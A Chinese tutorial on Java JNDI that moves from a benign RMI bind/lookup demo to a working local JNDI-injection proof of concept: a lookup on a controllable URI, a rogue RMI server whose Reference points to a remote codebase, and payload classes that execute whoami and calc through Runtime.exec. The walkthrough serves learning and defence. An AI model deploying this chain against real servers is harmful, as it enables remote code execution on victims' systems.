JNDI入门

什么是JNDI?

JNDI(Java Naming and Directory Interface),名为 Java命名和目录接口,JNDI是Java API,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。放两张直观的图

使用JNDI的好处

JNDI自身并不区分客户端和服务器端,也不具备远程能力,但是被其协同的一些其他应用一般都具备远程能力,JNDI在客户端和服务器端都能够进行一些工作,客户端上主要是进行各种访问,查询,搜索,而服务器端主要进行的是帮助管理配置,也就是各种bind。比如在RMI服务器端上可以不直接使用Registry进行bind,而使用JNDI统一管理,当然JNDI底层应该还是调用的Registry的bind,但好处JNDI提供的是统一的配置接口;在客户端也可以直接通过类似URL的形式来访问目标服务,可以看后面提到的JNDI动态协议转换。把RMI换成其他的例如LDAP、CORBA等也是同样的道理。

小小的Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package learnjndi;

import java.io.Serializable;
import java.rmi.Remote;
public class Person implements Remote,Serializable {
private static final long serialVersionUID = 1L;
private String name;
private String password;
public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public String getPassword() {
return password;
}

public void setPassword(String password) {
this.password = password;
}

public String toString(){
return "name:"+name+" password:"+password;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package learnjndi;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.spi.NamingManager;
public class test {
public static void initPerson() throws Exception{
//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
LocateRegistry.createRegistry(3001);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:3001");
////初始化
InitialContext ctx = new InitialContext();
//实例化person对象
Person p = new Person();
p.setName("Decade");
p.setPassword("xiaobai");
//person对象绑定到JNDI服务中,JNDI的名字叫做:person,即我们可以通过person键值,来对Person对象进行索引
ctx.bind("person", p);
ctx.close();

}
public static void findPerson() throws Exception{

//因为前面已经将JNDI工厂和JNDI的url和端口已经添加到System对象中,这里就不用在绑定了
InitialContext ctx = new InitialContext();
//通过lookup查找person对象
Person person = (Person) ctx.lookup("person");
//打印出这个对象
System.out.println(person.toString());
ctx.close();
}
public static void main(String[] args) throws Exception {
initPerson();
findPerson();
}
}

在运行的一瞬间,可以看到确实开放了3001端口

用Debug的状态来看

JNDI协议动态转换

在开始谈JNDI注入之前,先谈一谈为什么会引起JNDI注入。
上面的Demo里面,在初始化就预先指定了其上下文环境(RMI),但是在调用 lookup() 时,是可以使用带 URI 动态的转换上下文环境,例如上面已经设置了当前上下文会访问 RMI 服务,那么可以直接使用 RMi的 URI 格式去转换(该变)上下文环境,使之访问 RMI 服务上的绑定对象:

1
Person person = (Person) ctx.lookup("rmi://localhost:3001/person");

JNDI注入

可以看到得到同样的效果,但是如果这个lookup参数我们可以控制呢?

这里由于jdk版本(java1.8.231)过高,导致的没有攻击成功,这里为了简便用的是marshalsec反序列化工具

低版本测试🌰

这里选用的是jd k1.7.17版本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import javax.naming.Context;
import javax.naming.InitialContext;

public class CLIENT {

public static void main(String[] args) throws Exception {

String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);

}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class SERVER {

public static void main(String args[]) throws Exception {

Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
registry.bind("aa", refObjWrapper);

}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class ExecTest {
public ExecTest() throws IOException,InterruptedException{
String cmd="whoami";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}

private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}
}

一步一步跟踪,可以看到这里如果是Reference类的话,进入var.getReference(),与RMI服务器进行一次连接,获取到远程class文件地址,如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI服务。

最终调用了GetObjectInsacne函数,跟踪到如下,这里有两处可以实现任意命令执行,分别是两处标红的代码。

可以看到最后用newInstance实例化了类,实例化会默认调用构造方法、静态代码块,那么也就执行了我们的whoami命令

当然这里会报错,那么我们修改一下ExecTest类的写法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class ExecTest implements ObjectFactory {

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
exec("calc");
return null;
}

public static String exec(String cmd) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
return "";
}

public static void main(String[] args) {
exec("123");
}
}

至于为什么要重写getObjectInstance方法,是因为这里用到的第二处可以任意命令执行的地方,如下图所示,就不会报错了。这就是整个jndi的一个实现过程。

JNDI的条件与限制

条件一:我们需要服务端存在以下代码,并且uri可控

1
2
3
String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);

条件二: jdk版本

可以看到要实现JNDI注入的话jdk版本需要符合一定条件,具体到哪个版本之后不能使用呢,笔者由于时间有限,并没一个一个测,如果有师傅愿意尝试的话可以去研究一下,当然这里也有限制

柳暗花明又一村

最先其实也说了,我们JNDI其实类似于一个api,而我测的代码也仅仅就只有rmi服务,我们下面测试一下ladp服务,当然也同样为了简便,用的是marshalsec反序列化工具,这里测试的jdk版本为jdk1.7.17

相对来说ldap使用范围更广,如下图所示